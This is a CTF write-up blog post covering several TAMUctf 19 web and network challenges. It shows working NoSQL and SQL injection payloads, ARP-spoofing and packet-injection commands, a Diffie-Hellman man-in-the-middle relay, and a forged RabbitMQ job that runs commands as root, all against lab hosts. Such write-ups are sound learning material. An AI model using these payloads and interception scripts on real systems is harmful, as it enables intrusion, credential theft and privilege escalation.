CTFするぞ

CTF以外のことも書くよ

TAMUctf 19 Writeup

TAMUctf 19 had been held for nearly 2 weeks and I joined as insecure. My team got 19162pts, except for Pwn6 and Alt-F4 For Ops, and reached 16th place. There were so many challenges and I can't write about all of them. I enjoyed most of them but here I'm going to pick up some challenges that I found interesting. Especially Network/Pentest challs were novel for me and I learned a lot.

Thank you for holding such an amazing ctf!

[Web 473pts] Login App

I'm not familiar with Web security and I had no idea how to solve this chall at first. I found it was working in Node.js Express but never found SQLi. As I was looking over the other challs, I found the source code for Login App can be seen from the Secure Coding gitlab. I forked and pulled the repository for Login App 2 (Secure Coding challenge) and got the following source code.

...
    app.post('/login', function (req, res) {

        const db = getDb();
        c = db.db('test');
    
        if (typeof(req.body.username) != "string" || typeof(req.body.password) != "string") {
            var query = {
                username: "",
                password: ""
            }
        } else {
            var query = {
                username: req.body.username,
                password: req.body.password
            }
        }

        c.collection('users').findOne(query, function (err, user) {
            if(user == null) {
                res.send(JSON.stringify("Login Failed"))
            }
            else {
                resp = "Welcome: " + user['username'] + "!";
                res.send(JSON.stringify(resp));
            }
        });
    });
...

Yay, it's NoSQL injection! I changed my script a bit and successfully logged in as admin.

# coding: utf-8
import requests
import string

url = "http://web4.tamuctf.com/login"
data = '{"username": "admin", "password": {"$ne": 1}}'
headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0",
    "Accept": "application/json, text/javascript, */*; q=0.01",
    "Referer": "http://web4.tamuctf.com/",
    "X-Requested-With": "XMLHttpRequest",
    "Content-Type": "application/json;charset=UTF-8",
    "DNT": "1"
}
r = requests.post(url, data=data, headers=headers)
print(r.headers)
print(r.text)

[Web 485pts] 1337 Secur1ty

Description: http://web6.tamuctf.com
Difficulty: hard

I registered a user and the page moved to the following one.

f:id:ptr-yudai:20190305114336p:plain

I decoded the QR code and found it was just an OTP auth uri. Also some cookies were created as I logged in.

f:id:ptr-yudai:20190305114616p:plain

The cookie secret is the OTP secret and userid is my id, as we can see from the message list.

f:id:ptr-yudai:20190305114837p:plain

There's a message sent from the admin to me.

f:id:ptr-yudai:20190305114921p:plain

The message can be opened just by clicking the link. Let's see what happens if we change the message id to a SQLi code.

http://web6.tamuctf.com/message?id=%27%20union%20select%201,2,3,4,5,6%23

f:id:ptr-yudai:20190305115213p:plain

Bingo! I found Users and Messages table, and Users has some columns such as UserID, Password, Secret.

http://web6.tamuctf.com/message?id=%27%20union%20select%201,2,secret,4,5,password%20from%20Users%20where%20userid=1%23

f:id:ptr-yudai:20190305115449p:plain

The password seems to be hashed but we have the secret. I changed my cookie to the admin's secret and userid, and successfully logged in as 1337-admin!

f:id:ptr-yudai:20190305115622p:plain

[Network/Pentest 474pts] Calculator

Description: Using a teletype network protocol from the 70s to access a calculator from the 70s? Far out!
Difficulty: easy

There are 2 hosts up: 172.30.0.2, 172.30.0.3. Telnet port is open at 172.30.0.2. I connected to the server but username and password required.

I used ettercap in order to see the packets between 172.30.0.2 and 172.30.0.3.

# ettercap -T -q -i tap0 -M arp:remote /172.30.0.2// /172.30.0.3//

f:id:ptr-yudai:20190305123941p:plain

MitM worked! We can log in the server with the username alice and the password 58318008.

# telnet 172.30.0.2
Trying 172.30.0.2...
Connected to 172.30.0.2.
Escape character is '^]'.
Ubuntu 16.04.5 LTS
934b1d0bd233 login: alice
Password: 
Last login: Tue Mar  5 03:40:03 UTC 2019 from insecure_calculator_client_1.insecure_calculator_default on pts/0
Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.15.0-1032-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
alice@934b1d0bd233:~$ ls -lha
total 20K
drwxr-xr-x 1 alice alice   41 Mar  5 03:35 .
drwxr-xr-x 1 root  root    19 Feb 22 13:13 ..
-rw------- 1 alice alice  466 Mar  5 03:40 .bash_history
-rw-r--r-- 1 alice alice  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 alice alice 3.7K Aug 31  2015 .bashrc
drwx------ 2 alice alice   34 Mar  5 03:35 .cache
-rw-r--r-- 1 root  root    40 Feb 22 13:13 .ctf_flag
-rw-r--r-- 1 alice alice  655 May 16  2017 .profile
alice@934b1d0bd233:~$ cat .ctf_flag
gigem{f5ae5f528ed5a9ad312f75bd1d3406a2}

[Network/Pentest 499pts] Clock

Description: Slapping modern crypto on protocol from the 70s is a lot like pad locking a glass door...
Difficulty: medium

172.30.0.2 and 172.30.0.3 up, telnet open, seems quite similar to Calculator challenge.

f:id:ptr-yudai:20190305124701p:plain

There's a challenge response auth, hmmm. The client sends date command after logged in. Ettercap has a function called etterfilter, which can modify packets on fly! I modified the date command with my command by using etterfilter. Here's the my filter, where fake_telnet contains a bash command.

if (ip.proto == TCP) {
   if (tcp.dst == 23) {
      if (DATA.data == "d") {
         drop();
         inject("./fake_telnet");
      }
   }
}

Let's build the filter and restart ettercap with this filter.

# etterfilter calculator.filter -o calculator.ef
# ettercap -T -q -i tap0 -M arp:remote -F telnet.ef /172.30.0.2// /172.30.0.3//

Wireshark doen't capture the locally modified packet well, but it worked and got the flag.

f:id:ptr-yudai:20190305125331p:plain

[Network/Pentest 498pts] Copper

Description: Bob learned that telnet was actually not secure. Because Bob is a good administrator he wanted to make his own, more secure, version of telnet. He heard AES was secure so he decided to use that.

Here is the script he runs every day over telnet:

ls -la
date > monitor.txt
echo "=========================================" >> monitor.txt
echo "ps -aux" >> monitor.txt
ps -aux >> monitor.txt
echo "=========================================" >> monitor.txt
echo "df -h" >> monitor.txt
df -h >> monitor.txt
cp ./monitor.txt /logs
exit

Difficulty: medium

I solved this challenge in a wrong way. I should've done port scanning first but I thought this was a telnet challenge similar to Calculator, Clock so didn't notice 8080 was open... Anyway, I could solve this chall without 8080 port.

The packets between 172.30.0.2 and 172.30.0.3 are encrypted with AES.

f:id:ptr-yudai:20190305130226p:plain

I found two things here.

  • The packets seem to be same, which means the IV and the key for AES are not changed by connection.
  • The commands from the client are split and sent byte by byte, which means we can associate each byte and its ciphertext.

I wrote a script to gather the ciphertexts and associate them to corresponding bytes. Here's the python dictionary:

table = {'l': 'YiqMxpZQz+5dPf+qELowBw==', 's': 'US5MJOeTx6L69iQT3Y8B9g==', ' ': '83jbJmmZc/RUXML8GcGuVg==', '-': 'h8zZvECdaFr730Mgo5EgYQ==', 'a': 'RdGNIA97r2yYuQsdXjbQGA==', '\r': 'S+79/0xJH6oVAqvGSE+Vlw==', 'd': 'vCffRJyLzPpoDVYNvxEtoA==', 't': 'MufXoG4oKY+tLj7TNMzMtQ==', 'e': '9+fXRGjlf3TvpwR6XiqcSw==', '>': 'bIyEa1uO0qUPR+sBqjAJ8g==', 'm': '0bGyNN1VKjWCxituvKDVvg==', 'o': '/Ks7iNV5tZaZT32Epav0CA==', 'n': 'KLVDOWDtxnck6THwQuPfGg==', 'i': 'L2/wiXcz7QQyFdbuDe14+w==', 'r': 'MC9KVKLGfFmxvdr6qNuZpA==', '.': 'gCe+M22NmuwF6cPVKGGoZQ==', 'x': 'wJNrzltAAb7rg/64niXZNg==', '\n': '92fKIeYPq2HyqG8DSo2Mfw==', 'c': 'XpjdNQ+r0XfWy25TW5lyAg==', 'h': '4iLXaYY1As8N9+wW+PVQOg==', '"': 'WSThaqht6loKlvNDraoarw==', '=': 'Tkb8E728rfsc+V1i5HtOzQ==', 'p': 'lwzGU75ZfX1C+vFQE1ahTQ==', 'u': 'mJoY/dqOlVLjsIzq/ZmGbg==', 'f': 'qgZnSf9/KcpMFM90/ZaklQ==', '/': 'pxsE18FW3UofpVPzG1RchA==', 'g': 'lwA3zobBmueRmJyafjFH9A=='}

However, there are two problems here.

  • We can use only specific characters: "-./=>acdefghilmnoprstux
  • Even if we can send an arbitrary command, the output is encrypted and cannot see the flag

The second problem is serious. I decided to construct a command which outputs one byte. We can decrypt the output if it's 1-byte because we have a table. However the table has only specific characters so I had to gather more characters like digits or uppercase alphabets.

Uppercase alphabets can be printed out like this:

printf a > a
dd if=a of=b conv=ucase

I don't have v wtffffff!!!!

After so many attempts I was saved by perl command. I got 1 from the following command:

perl -e "print a==a"

And 0 by

perl -e "print 1-1"

9, 2, 8, ...

perl -e "print 10-1"
perl -e "print 11-9"
perl -e "print 10-2"
...

After I gathered all digits, it was a simple task. Perl has a useful function chr which converts ascii code to ascii char.

For example we can get $ with this command:

perl -e "print chr 36"

And I read the flag byte by byte like this:

cat flag.txt|fold -s1|sed -n 1p|tr -d "\n"

f:id:ptr-yudai:20190305133413p:plain

I was surprised when I heard 8080 port was open and could see files in /log......

[Network/Pentest 500pts] Key Exchange

Description: Get your keys here!
Difficulty: medium

We are given two python scripts (DiffieHellman.py and AESCipher.py) in addition to the ordinal OpenVPN config. Let's see the communication between 172.30.0.2 and 172.30.0.3.

f:id:ptr-yudai:20190305134031p:plain

There are many encrypted bytestreams. The first two base64 are numbers, which seem to be the public keys for Diffie Hellman Key Exchange protocol. It's a strong protocol but weak to MitM attack. I set up a fake server which responses my own public key to the client. As the client accepts my public key, we generate the same shared key and I can decrypt every packets from the client.

from ptrlib import str2bytes
import base64
import sys
import socket
from DiffieHellman import DiffieHellman
from AESCipher import AESCipher
import time

dh = DiffieHellman()
pka = dh.publicKey

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(("172.30.0.14", 8080))
s.listen(1)

c, addr = s.accept()

# Send a fake public key to the client
data = c.recv(4096)
pkb = int(base64.b64decode(data))
dh.genKey(pkb)
c.send(base64.b64encode(str2bytes(str(pka))))
aes = AESCipher(dh.getKey())

# Receive a message
data = c.recv(4096)
plain = aes.decrypt(data)
print(plain)

c.close()

We can decrypt the packet!

# iptables -t nat -A PREROUTING -p tcp --dport 5005 -j REDIRECT --to-port 8080
# python3 relay.py 
b'1st Soldier with a Keen Interest in Birds: Who goes there?\n'

However, we have to reply a correct sentence to the client in order to keep talking and reach to the flag. So, I wrote a server which receives text from the client, while sending the text to the real server and receiving the text to reply.

from ptrlib import str2bytes, bytes2str
import base64
import sys
import socket
from DiffieHellman import DiffieHellman
from AESCipher import AESCipher
import time

dh1 = DiffieHellman()
pka1 = dh1.publicKey
dh2 = DiffieHellman()
pkb2 = dh2.publicKey

s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s1.bind(("172.30.0.14", 8080))
s1.listen(1)

s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect(("172.30.0.2", 5005))

c1, addr = s1.accept()

# Send a fake public key to the client
data = c1.recv(4096)
pkb1 = int(base64.b64decode(data))
dh1.genKey(pkb1)
c1.send(base64.b64encode(str2bytes(str(pka1))))
aes1 = AESCipher(dh1.getKey())

# Send a public key to the real server
s2.send(base64.b64encode(str2bytes(str(pkb2))))
data = s2.recv(4096)
pka2 = int(base64.b64decode(data))
dh2.genKey(pka2)
aes2 = AESCipher(dh2.getKey())

while True:
    # Receive a message from the client
    data = c1.recv(4096)
    plain = aes1.decrypt(data)
    print(b"C-->S: " + plain)
    # Relay to the server
    data = aes2.encrypt(bytes2str(plain))
    s2.send(data)
    # Receive a reply from the server
    data = s2.recv(4096)
    plain = aes2.decrypt(data)
    print(b"S-->C: " + plain)
    # Relay to the client
    data = aes1.encrypt(bytes2str(plain))
    c1.send(data)
c.close()

Perfect!

f:id:ptr-yudai:20190305140333p:plain

[Network/Pentest 500pts] Homework Help

Description: Could you help me with my homework? I think the professor's solution is broken.
Difficulty: hard

There are 3 hosts up in this challenge: 172.30.0.2, 172.30.0.3, 172.30.0.4. I found http port open at 172.30.0.2.

f:id:ptr-yudai:20190303183402p:plain

We can run python scripts and see the output. The assignment says we have to write a function which returns the most frequent word in a given sentence. I wrote a function but the checker doesn't work correctly as the description says. I modified the professor's script but nothing happened even though my script passed the check.

So, let's check the other hosts. By scanning all TCP ports by nmap, we can see the following ports open.

f:id:ptr-yudai:20190305123420p:plain

I didn't know what RabbitMQ is but there were some ssl-protected packets between 172.30.0.2 and 172.30.0.4. I created a fake ssl server and decrypted some packets. (which soon turned out not necessary!) They are RabbitMQ packets (of course) and the client used pika (python client for RabbitMQ). So, I set up a fake RabbitMQ server which uses my dummy certificate and redirected all packets for 172.30.0.4:5671, to 172.30.0.14:8080. Here's my RabbitMQ configuration files. (Make your own ssl certificate.)

# /etc/rabbitmq/rabbitmq-env.conf
CONFIGFILE=/etc/rabbitmq/rabbitmq
NODE_IP_ADDRESS=172.30.0.14
NODE_PORT=8089
# /etc/rabbitmq/rabbitmq.config
[
    {rabbit, [
    {loopback_users, []},
    {ssl_listeners, [{"172.30.0.14", 8080}]},
    {ssl_options, [{cacertfile,"/etc/rabbitmq/ssl/ca_certificate.pem"},
                   {certfile,"/etc/rabbitmq/ssl/server_certificate.pem"},
                   {keyfile,"/etc/rabbitmq/ssl/server_key.pem"},
                   {verify,verify_peer},
                   {fail_if_no_peer_cert,false}]}
  ]}
].

I also installed RabbitMQ management API in order to see the queue on the browser.

# iptables -t nat -A PREROUTING -p tcp --dport 5671 -j REDIRECT --to-port 8080
# ettercap -T -q -i tap0 -M arp:remote /172.30.0.2// /172.30.0.4//

f:id:ptr-yudai:20190305121712p:plain

I knew the client declares submission queue since I made fake ssl server, but there seems to be another queue which is exclusive. Every message published in an exclusive queue can be consumed only by the client who declared it. So I could receive what was sent to the submission queue.

{"user": "alice", "assignment": "assignment_one", "code": "print(123)"}

Great! That's the code I ran on the Homework page. I thought I would be able to gain root privilege just by changing the user to root, but where can I get the result?

I had been stuck here for a while but I found a curious script as I ran the following code in the Homework page.

import os
os.system("grep 'import pika' -rl /usr")

In the result is a script /usr/local/grader/grader.py. I read the code and understood how it communicates with the RabbitMQ server. The client declared an exclusive queue and sends the message to submission queue, with replyTo set to the exclusive queue. This is an RPC!

I wrote the same client with the user set to root.

import pika
import time
import ssl
import uuid
import json

HOST, PORT = "172.30.0.4", 5671

def callback(ch, method, properties, body):
    data = json.loads(body)
    print(data["stdout"])

cred = pika.PlainCredentials('guest', 'guest')
conn1 = pika.BlockingConnection(
    pika.ConnectionParameters(
        host = HOST,
        port = PORT,
        credentials = cred,
        ssl = True
    )
)
ch1 = conn1.channel()
ch1.queue_declare("submissions")
conn2 = pika.BlockingConnection(
    pika.ConnectionParameters(
        host = HOST,
        port = PORT,
        credentials = cred,
        ssl = True,
        heartbeat = 0,
        blocked_connection_timeout = 60,
        connection_attempts = 10,
        retry_delay = 3
    )
)
ch2 = conn2.channel()
queue = ch2.queue_declare("", exclusive=True).method.queue

cid = str(uuid.uuid4())

ch1.publish(
    exchange="",
    routing_key="submissions",
    body='{"user": "root", "assignment": "assignment_one", "code": "import os; os.system(\\"cat /home/root/flag.txt\\")"}',
    properties = pika.BasicProperties(
        reply_to = queue,
        correlation_id = cid
    )
)

ch2.basic_consume(
    callback,
    queue=queue,
    no_ack=True
)

try:
    ch2.start_consuming()
finally:
    conn2.close()
    conn1.close()

Amazing challenge!

f:id:ptr-yudai:20190305122932p:plain